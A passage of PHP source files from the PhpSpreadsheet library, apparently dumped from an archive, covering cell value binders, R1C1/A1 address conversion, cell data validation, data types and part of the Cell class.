PhpOffice\PhpSpreadsheet\Shared\StringHelper; use Stringable; class StringValueBinder implements IValueBinder { protected bool $convertNull = true; protected bool $convertBoolean = true; protected bool $convertNumeric = true; protected bool $convertFormula = true; public function setNullConversion(bool $suppressConversion = false): self { $this->convertNull = $suppressConversion; return $this; } public function setBooleanConversion(bool $suppressConversion = false): self { $this->convertBoolean = $suppressConversion; return $this; } public function getBooleanConversion(): bool { return $this->convertBoolean; } public function setNumericConversion(bool $suppressConversion = false): self { $this->convertNumeric = $suppressConversion; return $this; } public function setFormulaConversion(bool $suppressConversion = false): self { $this->convertFormula = $suppressConversion; return $this; } public function setConversionForAllValueTypes(bool $suppressConversion = false): self { $this->convertNull = $suppressConversion; $this->convertBoolean = $suppressConversion; $this->convertNumeric = $suppressConversion; $this->convertFormula = $suppressConversion; return $this; } /** * Bind value to a cell. * * @param Cell $cell Cell to bind value to * @param mixed $value Value to bind in cell */ public function bindValue(Cell $cell, mixed $value): bool { if (is_object($value)) { return $this->bindObjectValue($cell, $value); } if ($value !== null && !is_scalar($value)) { throw new SpreadsheetException('Unable to bind unstringable ' . gettype($value)); } // sanitize UTF-8 strings if (is_string($value)) { $value = StringHelper::sanitizeUTF8($value); } if ($value === null && $this->convertNull === false) { $cell->setValueExplicit($value, DataType::TYPE_NULL); } elseif (is_bool($value) && $this->convertBoolean === false) { $cell->setValueExplicit($value, DataType::TYPE_BOOL); } elseif ((is_int($value) || is_float($value)) && $this->convertNumeric === false) { $cell->setValueExplicit($value, DataType::TYPE_NUMERIC); } elseif (is_string($value) && strlen($value) > 1 && $value[0] === '=' && $this->convertFormula === false) { $cell->setValueExplicit($value, DataType::TYPE_FORMULA); } else { if (is_string($value) && strlen($value) > 1 && $value[0] === '=') { $cell->getStyle()->setQuotePrefix(true); } $cell->setValueExplicit((string) $value, DataType::TYPE_STRING); } return true; } protected function bindObjectValue(Cell $cell, object $value): bool { // Handle any objects that might be injected if ($value instanceof DateTimeInterface) { $value = $value->format('Y-m-d H:i:s'); $cell->setValueExplicit($value, DataType::TYPE_STRING); } elseif ($value instanceof RichText) { $cell->setValueExplicit($value, DataType::TYPE_INLINE); } elseif ($value instanceof Stringable) { $cell->setValueExplicit((string) $value, DataType::TYPE_STRING); } else { throw new SpreadsheetException('Unable to bind unstringable object of type ' . get_class($value)); } return true; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Cell/AddressHelper.php000064400000015132151676714400021366 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Cell; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Exception; class AddressHelper { public const R1C1_COORDINATE_REGEX = '/(R((?:\[-?\d*\])|(?:\d*))?)(C((?:\[-?\d*\])|(?:\d*))?)/i'; /** @return string[] */ public static function getRowAndColumnChars(): array { $rowChar = 'R'; $colChar = 'C'; if (Functions::getCompatibilityMode() === Functions::COMPATIBILITY_EXCEL) { $rowColChars = Calculation::localeFunc('*RC'); if (mb_strlen($rowColChars) === 2) { $rowChar = mb_substr($rowColChars, 0, 1); $colChar = mb_substr($rowColChars, 1, 1); } } return [$rowChar, $colChar]; } /** * Converts an R1C1 format cell address to an A1 format cell address. */ public static function convertToA1( string $address, int $currentRowNumber = 1, int $currentColumnNumber = 1, bool $useLocale = true ): string { [$rowChar, $colChar] = $useLocale ? self::getRowAndColumnChars() : ['R', 'C']; $regex = '/^(' . $rowChar . '(\[?[-+]?\d*\]?))(' . $colChar . '(\[?[-+]?\d*\]?))$/i'; $validityCheck = preg_match($regex, $address, $cellReference); if (empty($validityCheck)) { throw new Exception('Invalid R1C1-format Cell Reference'); } $rowReference = $cellReference[2]; // Empty R reference is the current row if ($rowReference === '') { $rowReference = (string) $currentRowNumber; } // Bracketed R references are relative to the current row if ($rowReference[0] === '[') { $rowReference = $currentRowNumber + (int) trim($rowReference, '[]'); } $columnReference = $cellReference[4]; // Empty C reference is the current column if ($columnReference === '') { $columnReference = (string) $currentColumnNumber; } // Bracketed C references are relative to the current column if (is_string($columnReference) && $columnReference[0] === '[') { $columnReference = $currentColumnNumber + (int) trim($columnReference, '[]'); } $columnReference = (int) $columnReference; if ($columnReference <= 0 || $rowReference <= 0) { throw new Exception('Invalid R1C1-format Cell Reference, Value out of range'); } $A1CellReference = Coordinate::stringFromColumnIndex($columnReference) . $rowReference; return $A1CellReference; } protected static function convertSpreadsheetMLFormula(string $formula): string { $formula = substr($formula, 3); $temp = explode('"', $formula); $key = false; foreach ($temp as &$value) { // Only replace in alternate array entries (i.e. non-quoted blocks) $key = $key === false; if ($key) { $value = str_replace(['[.', ':.', ']'], ['', ':', ''], $value); } } unset($value); return implode('"', $temp); } /** * Converts a formula that uses R1C1/SpreadsheetXML format cell address to an A1 format cell address. */ public static function convertFormulaToA1( string $formula, int $currentRowNumber = 1, int $currentColumnNumber = 1 ): string { if (str_starts_with($formula, 'of:')) { // We have an old-style SpreadsheetML Formula return self::convertSpreadsheetMLFormula($formula); } // Convert R1C1 style references to A1 style references (but only when not quoted) $temp = explode('"', $formula); $key = false; foreach ($temp as &$value) { // Only replace in alternate array entries (i.e. non-quoted blocks) $key = $key === false; if ($key) { preg_match_all(self::R1C1_COORDINATE_REGEX, $value, $cellReferences, PREG_SET_ORDER + PREG_OFFSET_CAPTURE); // Reverse the matches array, otherwise all our offsets will become incorrect if we modify our way // through the formula from left to right. Reversing means that we work right to left.through // the formula $cellReferences = array_reverse($cellReferences); // Loop through each R1C1 style reference in turn, converting it to its A1 style equivalent, // then modify the formula to use that new reference foreach ($cellReferences as $cellReference) { $A1CellReference = self::convertToA1($cellReference[0][0], $currentRowNumber, $currentColumnNumber, false); $value = substr_replace($value, $A1CellReference, $cellReference[0][1], strlen($cellReference[0][0])); } } } unset($value); // Then rebuild the formula string return implode('"', $temp); } /** * Converts an A1 format cell address to an R1C1 format cell address. * If $currentRowNumber or $currentColumnNumber are provided, then the R1C1 address will be formatted as a relative address. */ public static function convertToR1C1( string $address, ?int $currentRowNumber = null, ?int $currentColumnNumber = null ): string { $validityCheck = preg_match(Coordinate::A1_COORDINATE_REGEX, $address, $cellReference); if ($validityCheck === 0) { throw new Exception('Invalid A1-format Cell Reference'); } if ($cellReference['col'][0] === '$') { // Column must be absolute address $currentColumnNumber = null; } $columnId = Coordinate::columnIndexFromString(ltrim($cellReference['col'], '$')); if ($cellReference['row'][0] === '$') { // Row must be absolute address $currentRowNumber = null; } $rowId = (int) ltrim($cellReference['row'], '$'); if ($currentRowNumber !== null) { if ($rowId === $currentRowNumber) { $rowId = ''; } else { $rowId = '[' . ($rowId - $currentRowNumber) . ']'; } } if ($currentColumnNumber !== null) { if ($columnId === $currentColumnNumber) { $columnId = ''; } else { $columnId = '[' . ($columnId - $currentColumnNumber) . ']'; } } $R1C1Address = "R{$rowId}C{$columnId}"; return $R1C1Address; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Cell/CellAddress.php000064400000007605151676714400021034 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Cell; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use Stringable; class CellAddress implements Stringable { protected ?Worksheet $worksheet; protected string $cellAddress; protected string $columnName = ''; protected int $columnId; protected int $rowId; public function __construct(string $cellAddress, ?Worksheet $worksheet = null) { $this->cellAddress = str_replace('$', '', $cellAddress); [$this->columnId, $this->rowId, $this->columnName] = Coordinate::indexesFromString($this->cellAddress); $this->worksheet = $worksheet; } public function __destruct() { unset($this->worksheet); } /** * @phpstan-assert int|numeric-string $columnId * @phpstan-assert int|numeric-string $rowId */ private static function validateColumnAndRow(int|string $columnId, int|string $rowId): void { if (!is_numeric($columnId) || $columnId <= 0 || !is_numeric($rowId) || $rowId <= 0) { throw new Exception('Row and Column Ids must be positive integer values'); } } public static function fromColumnAndRow(int|string $columnId, int|string $rowId, ?Worksheet $worksheet = null): self { self::validateColumnAndRow($columnId, $rowId); return new self(Coordinate::stringFromColumnIndex($columnId) . $rowId, $worksheet); } public static function fromColumnRowArray(array $array, ?Worksheet $worksheet = null): self { [$columnId, $rowId] = $array; return self::fromColumnAndRow($columnId, $rowId, $worksheet); } public static function fromCellAddress(string $cellAddress, ?Worksheet $worksheet = null): self { return new self($cellAddress, $worksheet); } /** * The returned address string will contain the worksheet name as well, if available, * (ie. if a Worksheet was provided to the constructor). * e.g. "'Mark''s Worksheet'!C5". */ public function fullCellAddress(): string { if ($this->worksheet !== null) { $title = str_replace("'", "''", $this->worksheet->getTitle()); return "'{$title}'!{$this->cellAddress}"; } return $this->cellAddress; } public function worksheet(): ?Worksheet { return $this->worksheet; } /** * The returned address string will contain just the column/row address, * (even if a Worksheet was provided to the constructor). * e.g. "C5". */ public function cellAddress(): string { return $this->cellAddress; } public function rowId(): int { return $this->rowId; } public function columnId(): int { return $this->columnId; } public function columnName(): string { return $this->columnName; } public function nextRow(int $offset = 1): self { $newRowId = $this->rowId + $offset; if ($newRowId < 1) { $newRowId = 1; } return self::fromColumnAndRow($this->columnId, $newRowId); } public function previousRow(int $offset = 1): self { return $this->nextRow(0 - $offset); } public function nextColumn(int $offset = 1): self { $newColumnId = $this->columnId + $offset; if ($newColumnId < 1) { $newColumnId = 1; } return self::fromColumnAndRow($newColumnId, $this->rowId); } public function previousColumn(int $offset = 1): self { return $this->nextColumn(0 - $offset); } /** * The returned address string will contain the worksheet name as well, if available, * (ie. if a Worksheet was provided to the constructor). * e.g. "'Mark''s Worksheet'!C5". */ public function __toString(): string { return $this->fullCellAddress(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Cell/DataValidator.php000064400000010667151676714400021370 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Cell; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Exception; /** * Validate a cell value according to its validation rules. */ class DataValidator { /** * Does this cell contain valid value? * * @param Cell $cell Cell to check the value */ public function isValid(Cell $cell): bool { if (!$cell->hasDataValidation() || $cell->getDataValidation()->getType() === DataValidation::TYPE_NONE) { return true; } $cellValue = $cell->getValue(); $dataValidation = $cell->getDataValidation(); if (!$dataValidation->getAllowBlank() && ($cellValue === null || $cellValue === '')) { return false; } $returnValue = false; $type = $dataValidation->getType(); if ($type === DataValidation::TYPE_LIST) { $returnValue = $this->isValueInList($cell); } elseif ($type === DataValidation::TYPE_WHOLE) { if (!is_numeric($cellValue) || fmod((float) $cellValue, 1) != 0) { $returnValue = false; } else { $returnValue = $this->numericOperator($dataValidation, (int) $cellValue); } } elseif ($type === DataValidation::TYPE_DECIMAL || $type === DataValidation::TYPE_DATE || $type === DataValidation::TYPE_TIME) { if (!is_numeric($cellValue)) { $returnValue = false; } else { $returnValue = $this->numericOperator($dataValidation, (float) $cellValue); } } elseif ($type === DataValidation::TYPE_TEXTLENGTH) { $returnValue = $this->numericOperator($dataValidation, mb_strlen((string) $cellValue)); } return $returnValue; } private function numericOperator(DataValidation $dataValidation, int|float $cellValue): bool { $operator = $dataValidation->getOperator(); $formula1 = $dataValidation->getFormula1(); $formula2 = $dataValidation->getFormula2(); $returnValue = false; if ($operator === DataValidation::OPERATOR_BETWEEN) { $returnValue = $cellValue >= $formula1 && $cellValue <= $formula2; } elseif ($operator === DataValidation::OPERATOR_NOTBETWEEN) { $returnValue = $cellValue < $formula1 || $cellValue > $formula2; } elseif ($operator === DataValidation::OPERATOR_EQUAL) { $returnValue = $cellValue == $formula1; } elseif ($operator === DataValidation::OPERATOR_NOTEQUAL) { $returnValue = $cellValue != $formula1; } elseif ($operator === DataValidation::OPERATOR_LESSTHAN) { $returnValue = $cellValue < $formula1; } elseif ($operator === DataValidation::OPERATOR_LESSTHANOREQUAL) { $returnValue = $cellValue <= $formula1; } elseif ($operator === DataValidation::OPERATOR_GREATERTHAN) { $returnValue = $cellValue > $formula1; } elseif ($operator === DataValidation::OPERATOR_GREATERTHANOREQUAL) { $returnValue = $cellValue >= $formula1; } return $returnValue; } /** * Does this cell contain valid value, based on list? * * @param Cell $cell Cell to check the value */ private function isValueInList(Cell $cell): bool { $cellValue = $cell->getValue(); $dataValidation = $cell->getDataValidation(); $formula1 = $dataValidation->getFormula1(); if (!empty($formula1)) { // inline values list if ($formula1[0] === '"') { return in_array(strtolower($cellValue), explode(',', strtolower(trim($formula1, '"'))), true); } elseif (strpos($formula1, ':') > 0) { // values list cells $matchFormula = '=MATCH(' . $cell->getCoordinate() . ', ' . $formula1 . ', 0)'; $calculation = Calculation::getInstance($cell->getWorksheet()->getParent()); try { $result = $calculation->calculateFormula($matchFormula, $cell->getCoordinate(), $cell); while (is_array($result)) { $result = array_pop($result); } return $result !== ExcelError::NA(); } catch (Exception) { return false; } } } return true; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Cell/DataType.php000064400000004341151676714400020354 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Cell; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; class DataType { // Data types const TYPE_STRING2 = 'str'; const TYPE_STRING = 's'; const TYPE_FORMULA = 'f'; const TYPE_NUMERIC = 'n'; const TYPE_BOOL = 'b'; const TYPE_NULL = 'null'; const TYPE_INLINE = 'inlineStr'; const TYPE_ERROR = 'e'; const TYPE_ISO_DATE = 'd'; /** * List of error codes. * * @var array<string, int> */ private static array $errorCodes = [ '#NULL!' => 0, '#DIV/0!' => 1, '#VALUE!' => 2, '#REF!' => 3, '#NAME?' => 4, '#NUM!' => 5, '#N/A' => 6, '#CALC!' => 7, ]; public const MAX_STRING_LENGTH = 32767; /** * Get list of error codes. * * @return array<string, int> */ public static function getErrorCodes(): array { return self::$errorCodes; } /** * Check a string that it satisfies Excel requirements. * * @param null|RichText|string $textValue Value to sanitize to an Excel string * * @return RichText|string Sanitized value */ public static function checkString(null|RichText|string $textValue): RichText|string { if ($textValue instanceof RichText) { // TODO: Sanitize Rich-Text string (max. character count is 32,767) return $textValue; } // string must never be longer than 32,767 characters, truncate if necessary $textValue = StringHelper::substring((string) $textValue, 0, self::MAX_STRING_LENGTH); // we require that newline is represented as "\n" in core, not as "\r\n" or "\r" $textValue = str_replace(["\r\n", "\r"], "\n", $textValue); return $textValue; } /** * Check a value that it is a valid error code. * * @param mixed $value Value to sanitize to an Excel error code * * @return string Sanitized value */ public static function checkErrorCode(mixed $value): string { $value = (string) $value; if (!isset(self::$errorCodes[$value])) { $value = '#NULL!'; } return $value; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Cell/DefaultValueBinder.php000064400000005323151676714400022347 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Cell; use DateTimeInterface; use PhpOffice\PhpSpreadsheet\Exception as SpreadsheetException; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use Stringable; class DefaultValueBinder implements IValueBinder { /** * Bind value to a cell. * * @param Cell $cell Cell to bind value to * @param mixed $value Value to bind in cell */ public function bindValue(Cell $cell, mixed $value): bool { // sanitize UTF-8 strings if (is_string($value)) { $value = StringHelper::sanitizeUTF8($value); } elseif ($value === null || is_scalar($value) || $value instanceof RichText) { // No need to do anything } elseif ($value instanceof DateTimeInterface) { $value = $value->format('Y-m-d H:i:s'); } elseif ($value instanceof Stringable) { $value = (string) $value; } else { throw new SpreadsheetException('Unable to bind unstringable ' . gettype($value)); } // Set value explicit $cell->setValueExplicit($value, static::dataTypeForValue($value)); // Done! return true; } /** * DataType for value. */ public static function dataTypeForValue(mixed $value): string { // Match the value against a few data types if ($value === null) { return DataType::TYPE_NULL; } elseif (is_float($value) || is_int($value)) { return DataType::TYPE_NUMERIC; } elseif (is_bool($value)) { return DataType::TYPE_BOOL; } elseif ($value === '') { return DataType::TYPE_STRING; } elseif ($value instanceof RichText) { return DataType::TYPE_INLINE; } elseif (is_string($value) && strlen($value) > 1 && $value[0] === '=') { return DataType::TYPE_FORMULA; } elseif (preg_match('/^[\+\-]?(\d+\\.?\d*|\d*\\.?\d+)([Ee][\-\+]?[0-2]?\d{1,3})?$/', $value)) { $tValue = ltrim($value, '+-'); if (is_string($value) && strlen($tValue) > 1 && $tValue[0] === '0' && $tValue[1] !== '.') { return DataType::TYPE_STRING; } elseif ((!str_contains($value, '.')) && ($value > PHP_INT_MAX)) { return DataType::TYPE_STRING; } elseif (!is_numeric($value)) { return DataType::TYPE_STRING; } return DataType::TYPE_NUMERIC; } elseif (is_string($value)) { $errorCodes = DataType::getErrorCodes(); if (isset($errorCodes[$value])) { return DataType::TYPE_ERROR; } } return DataType::TYPE_STRING; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Cell/ColumnRange.php000064400000006106151676714400021054 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Cell; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use Stringable; /** * @implements AddressRange<string> */ class ColumnRange implements AddressRange, Stringable { protected ?Worksheet $worksheet; protected int $from; protected int $to; public function __construct(string $from, ?string $to = null, ?Worksheet $worksheet = null) { $this->validateFromTo( Coordinate::columnIndexFromString($from), Coordinate::columnIndexFromString($to ?? $from) ); $this->worksheet = $worksheet; } public function __destruct() { $this->worksheet = null; } public static function fromColumnIndexes(int $from, int $to, ?Worksheet $worksheet = null): self { return new self(Coordinate::stringFromColumnIndex($from), Coordinate::stringFromColumnIndex($to), $worksheet); } /** * @param array<int|string> $array */ public static function fromArray(array $array, ?Worksheet $worksheet = null): self { array_walk( $array, function (&$column): void { $column = is_numeric($column) ? Coordinate::stringFromColumnIndex((int) $column) : $column; } ); /** @var string $from */ /** @var string $to */ [$from, $to] = $array; return new self($from, $to, $worksheet); } private function validateFromTo(int $from, int $to): void { // Identify actual top and bottom values (in case we've been given bottom and top) $this->from = min($from, $to); $this->to = max($from, $to); } public function columnCount(): int { return $this->to - $this->from + 1; } public function shiftDown(int $offset = 1): self { $newFrom = $this->from + $offset; $newFrom = ($newFrom < 1) ? 1 : $newFrom; $newTo = $this->to + $offset; $newTo = ($newTo < 1) ? 1 : $newTo; return self::fromColumnIndexes($newFrom, $newTo, $this->worksheet); } public function shiftUp(int $offset = 1): self { return $this->shiftDown(0 - $offset); } public function from(): string { return Coordinate::stringFromColumnIndex($this->from); } public function to(): string { return Coordinate::stringFromColumnIndex($this->to); } public function fromIndex(): int { return $this->from; } public function toIndex(): int { return $this->to; } public function toCellRange(): CellRange { return new CellRange( CellAddress::fromColumnAndRow($this->from, 1, $this->worksheet), CellAddress::fromColumnAndRow($this->to, AddressRange::MAX_ROW) ); } public function __toString(): string { $from = $this->from(); $to = $this->to(); if ($this->worksheet !== null) { $title = str_replace("'", "''", $this->worksheet->getTitle()); return "'{$title}'!{$from}:{$to}"; } return "{$from}:{$to}"; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Cell/Cell.php000064400000057325151676714400017532 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Cell; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Exception as CalculationException; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Collection\Cells; use PhpOffice\PhpSpreadsheet\Exception as SpreadsheetException; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\Shared\Date as SharedDate; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\CellStyleAssessor; use PhpOffice\PhpSpreadsheet\Style\NumberFormat; use PhpOffice\PhpSpreadsheet\Style\Protection; use PhpOffice\PhpSpreadsheet\Style\Style; use PhpOffice\PhpSpreadsheet\Worksheet\Table; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use Stringable; class Cell implements Stringable { /** * Value binder to use. */ private static ?IValueBinder $valueBinder = null; /** * Value of the cell. */ private mixed $value; /** * Calculated value of the cell (used for caching) * This returns the value last calculated by MS Excel or whichever spreadsheet program was used to * create the original spreadsheet file. * Note that this value is not guaranteed to reflect the actual calculated value because it is * possible that auto-calculation was disabled in the original spreadsheet, and underlying data * values used by the formula have changed since it was last calculated. * * @var mixed */ private $calculatedValue; /** * Type of the cell data. */ private string $dataType; /** * The collection of cells that this cell belongs to (i.e. The Cell Collection for the parent Worksheet). * * @var ?Cells */ private ?Cells $parent; /** * Index to the cellXf reference for the styling of this cell. */ private int $xfIndex = 0; /** * Attributes of the formula. */ private mixed $formulaAttributes = null; private IgnoredErrors $ignoredErrors; /** * Update the cell into the cell collection. * * @throws SpreadsheetException */ public function updateInCollection(): self { $parent = $this->parent; if ($parent === null) { throw new SpreadsheetException('Cannot update when cell is not bound to a worksheet'); } $parent->update($this); return $this; } public function detach(): void { $this->parent = null; } public function attach(Cells $parent): void { $this->parent = $parent; } /** * Create a new Cell. * * @throws SpreadsheetException */ public function __construct(mixed $value, ?string $dataType, Worksheet $worksheet) { // Initialise cell value $this->value = $value; // Set worksheet cache $this->parent = $worksheet->getCellCollection(); // Set datatype? if ($dataType !== null) { if ($dataType == DataType::TYPE_STRING2) { $dataType = DataType::TYPE_STRING; } $this->dataType = $dataType; } elseif (self::getValueBinder()->bindValue($this, $value) === false) { throw new SpreadsheetException('Value could not be bound to cell.'); } $this->ignoredErrors = new IgnoredErrors(); } /** * Get cell coordinate column. * * @throws SpreadsheetException */ public function getColumn(): string { $parent = $this->parent; if ($parent === null) { throw new SpreadsheetException('Cannot get column when cell is not bound to a worksheet'); } return $parent->getCurrentColumn(); } /** * Get cell coordinate row. * * @throws SpreadsheetException */ public function getRow(): int { $parent = $this->parent; if ($parent === null) { throw new SpreadsheetException('Cannot get row when cell is not bound to a worksheet'); } return $parent->getCurrentRow(); } /** * Get cell coordinate. * * @throws SpreadsheetException */ public function getCoordinate(): string { $parent = $this->parent; if ($parent !== null) { $coordinate = $parent->getCurrentCoordinate(); } else { $coordinate = null; } if ($coordinate === null) { throw new SpreadsheetException('Coordinate no longer exists'); } return $coordinate; } /** * Get cell value. */ public function getValue(): mixed { return $this->value; } public function getValueString(): string { $value = $this->value; return ($value === '' || is_scalar($value) || $value instanceof Stringable) ? "$value" : ''; } /** * Get cell value with formatting. */ public function getFormattedValue(): string { return (string) NumberFormat::toFormattedString( $this->getCalculatedValue(), (string) $this->getStyle()->getNumberFormat()->getFormatCode(true) ); } protected static function updateIfCellIsTableHeader(?Worksheet $workSheet, self $cell, mixed $oldValue, mixed $newValue): void { if (StringHelper::strToLower($oldValue ?? '') === StringHelper::strToLower($newValue ?? '') || $workSheet === null) { return; } foreach ($workSheet->getTableCollection() as $table) { /** @var Table $table */ if ($cell->isInRange($table->getRange())) { $rangeRowsColumns = Coordinate::getRangeBoundaries($table->getRange()); if ($cell->getRow() === (int) $rangeRowsColumns[0][1]) { Table\Column::updateStructuredReferences($workSheet, $oldValue, $newValue); } return; } } } /** * Set cell value. * * Sets the value for a cell, automatically determining the datatype using the value binder * * @param mixed $value Value * @param null|IValueBinder $binder Value Binder to override the currently set Value Binder * * @throws SpreadsheetException */ public function setValue(mixed $value, ?IValueBinder $binder = null): self { $binder ??= self::getValueBinder(); if (!$binder->bindValue($this, $value)) { throw new SpreadsheetException('Value could not be bound to cell.'); } return $this; } /** * Set the value for a cell, with the explicit data type passed to the method (bypassing any use of the value binder). * * @param mixed $value Value * @param string $dataType Explicit data type, see DataType::TYPE_* * Note that PhpSpreadsheet does not validate that the value and datatype are consistent, in using this * method, then it is your responsibility as an end-user developer to validate that the value and * the datatype match. * If you do mismatch value and datatype, then the value you enter may be changed to match the datatype * that you specify. * * @throws SpreadsheetException */ public function setValueExplicit(mixed $value, string $dataType = DataType::TYPE_STRING): self { $oldValue = $this->value; // set the value according to data type switch ($dataType) { case DataType::TYPE_NULL: $this->value = null; break; case DataType::TYPE_STRING2: $dataType = DataType::TYPE_STRING; // no break case DataType::TYPE_STRING: // Synonym for string case DataType::TYPE_INLINE: // Rich text $this->value = DataType::checkString($value); break; case DataType::TYPE_NUMERIC: if (is_string($value) && !is_numeric($value)) { throw new SpreadsheetException('Invalid numeric value for datatype Numeric'); } $this->value = 0 + $value; break; case DataType::TYPE_FORMULA: $this->value = (string) $value; break; case DataType::TYPE_BOOL: $this->value = (bool) $value; break; case DataType::TYPE_ISO_DATE: $this->value = SharedDate::convertIsoDate($value); $dataType = DataType::TYPE_NUMERIC; break; case DataType::TYPE_ERROR: $this->value = DataType::checkErrorCode($value); break; default: throw new SpreadsheetException('Invalid datatype: ' . $dataType); } // set the datatype $this->dataType = $dataType; $this->updateInCollection(); $cellCoordinate = $this->getCoordinate(); self::updateIfCellIsTableHeader($this->getParent()?->getParent(), $this, $oldValue, $value); return $this->getParent()?->get($cellCoordinate) ?? $this; } public const CALCULATE_DATE_TIME_ASIS = 0; public const CALCULATE_DATE_TIME_FLOAT = 1; public const CALCULATE_TIME_FLOAT = 2; private static int $calculateDateTimeType = self::CALCULATE_DATE_TIME_ASIS; public static function getCalculateDateTimeType(): int { return self::$calculateDateTimeType; } /** @throws CalculationException */ public static function setCalculateDateTimeType(int $calculateDateTimeType): void { self::$calculateDateTimeType = match ($calculateDateTimeType) { self::CALCULATE_DATE_TIME_ASIS, self::CALCULATE_DATE_TIME_FLOAT, self::CALCULATE_TIME_FLOAT => $calculateDateTimeType, default => throw new CalculationException("Invalid value $calculateDateTimeType for calculated date time type"), }; } /** * Convert date, time, or datetime from int to float if desired. */ private function convertDateTimeInt(mixed $result): mixed { if (is_int($result)) { if (self::$calculateDateTimeType === self::CALCULATE_TIME_FLOAT) { if (SharedDate::isDateTime($this, $result, false)) { $result = (float) $result; } } elseif (self::$calculateDateTimeType === self::CALCULATE_DATE_TIME_FLOAT) { if (SharedDate::isDateTime($this, $result, true)) { $result = (float) $result; } } } return $result; } /** * Get calculated cell value converted to string. */ public function getCalculatedValueString(): string { $value = $this->getCalculatedValue(); return ($value === '' || is_scalar($value) || $value instanceof Stringable) ? "$value" : ''; } /** * Get calculated cell value. * * @param bool $resetLog Whether the calculation engine logger should be reset or not * * @throws CalculationException */ public function getCalculatedValue(bool $resetLog = true): mixed { if ($this->dataType === DataType::TYPE_FORMULA) { try { $index = $this->getWorksheet()->getParentOrThrow()->getActiveSheetIndex(); $selected = $this->getWorksheet()->getSelectedCells(); $result = Calculation::getInstance( $this->getWorksheet()->getParent() )->calculateCellValue($this, $resetLog); $result = $this->convertDateTimeInt($result); $this->getWorksheet()->setSelectedCells($selected); $this->getWorksheet()->getParentOrThrow()->setActiveSheetIndex($index); // We don't yet handle array returns if (is_array($result)) { while (is_array($result)) { $result = array_shift($result); } } } catch (SpreadsheetException $ex) { if (($ex->getMessage() === 'Unable to access External Workbook') && ($this->calculatedValue !== null)) { return $this->calculatedValue; // Fallback for calculations referencing external files. } elseif (preg_match('/[Uu]ndefined (name|offset: 2|array key 2)/', $ex->getMessage()) === 1) { return ExcelError::NAME(); } throw new CalculationException( $this->getWorksheet()->getTitle() . '!' . $this->getCoordinate() . ' -> ' . $ex->getMessage(), $ex->getCode(), $ex ); } if ($result === '#Not Yet Implemented') { return $this->calculatedValue; // Fallback if calculation engine does not support the formula. } return $result; } elseif ($this->value instanceof RichText) { return $this->value->getPlainText(); } return $this->convertDateTimeInt($this->value); } /** * Set old calculated value (cached). * * @param mixed $originalValue Value */ public function setCalculatedValue(mixed $originalValue, bool $tryNumeric = true): self { if ($originalValue !== null) { $this->calculatedValue = ($tryNumeric && is_numeric($originalValue)) ? (0 + $originalValue) : $originalValue; } return $this->updateInCollection(); } /** * Get old calculated value (cached) * This returns the value last calculated by MS Excel or whichever spreadsheet program was used to * create the original spreadsheet file. * Note that this value is not guaranteed to reflect the actual calculated value because it is * possible that auto-calculation was disabled in the original spreadsheet, and underlying data * values used by the formula have changed since it was last calculated. */ public function getOldCalculatedValue(): mixed { return $this->calculatedValue; } /** * Get cell data type. */ public function getDataType(): string { return $this->dataType; } /** * Set cell data type. * * @param string $dataType see DataType::TYPE_* */ public function setDataType(string $dataType): self { $this->setValueExplicit($this->value, $dataType); return $this; } /** * Identify if the cell contains a formula. */ public function isFormula(): bool { return $this->dataType === DataType::TYPE_FORMULA && $this->getStyle()->getQuotePrefix() === false; } /** * Does this cell contain Data validation rules? * * @throws SpreadsheetException */ public function hasDataValidation(): bool { if (!isset($this->parent)) { throw new SpreadsheetException('Cannot check for data validation when cell is not bound to a worksheet'); } return $this->getWorksheet()->dataValidationExists($this->getCoordinate()); } /** * Get Data validation rules. * * @throws SpreadsheetException */ public function getDataValidation(): DataValidation { if (!isset($this->parent)) { throw new SpreadsheetException('Cannot get data validation for cell that is not bound to a worksheet'); } return $this->getWorksheet()->getDataValidation($this->getCoordinate()); } /** * Set Data validation rules. * * @throws SpreadsheetException */ public function setDataValidation(?DataValidation $dataValidation = null): self { if (!isset($this->parent)) { throw new SpreadsheetException('Cannot set data validation for cell that is not bound to a worksheet'); } $this->getWorksheet()->setDataValidation($this->getCoordinate(), $dataValidation); return $this->updateInCollection(); } /** * Does this cell contain valid value? */ public function hasValidValue(): bool { $validator = new DataValidator(); return $validator->isValid($this); } /** * Does this cell contain a Hyperlink? * * @throws SpreadsheetException */ public function hasHyperlink(): bool { if (!isset($this->parent)) { throw new SpreadsheetException('Cannot check for hyperlink when cell is not bound to a worksheet'); } return $this->getWorksheet()->hyperlinkExists($this->getCoordinate()); } /** * Get Hyperlink. * * @throws SpreadsheetException */ public function getHyperlink(): Hyperlink { if (!isset($this->parent)) { throw new SpreadsheetException('Cannot get hyperlink for cell that is not bound to a worksheet'); } return 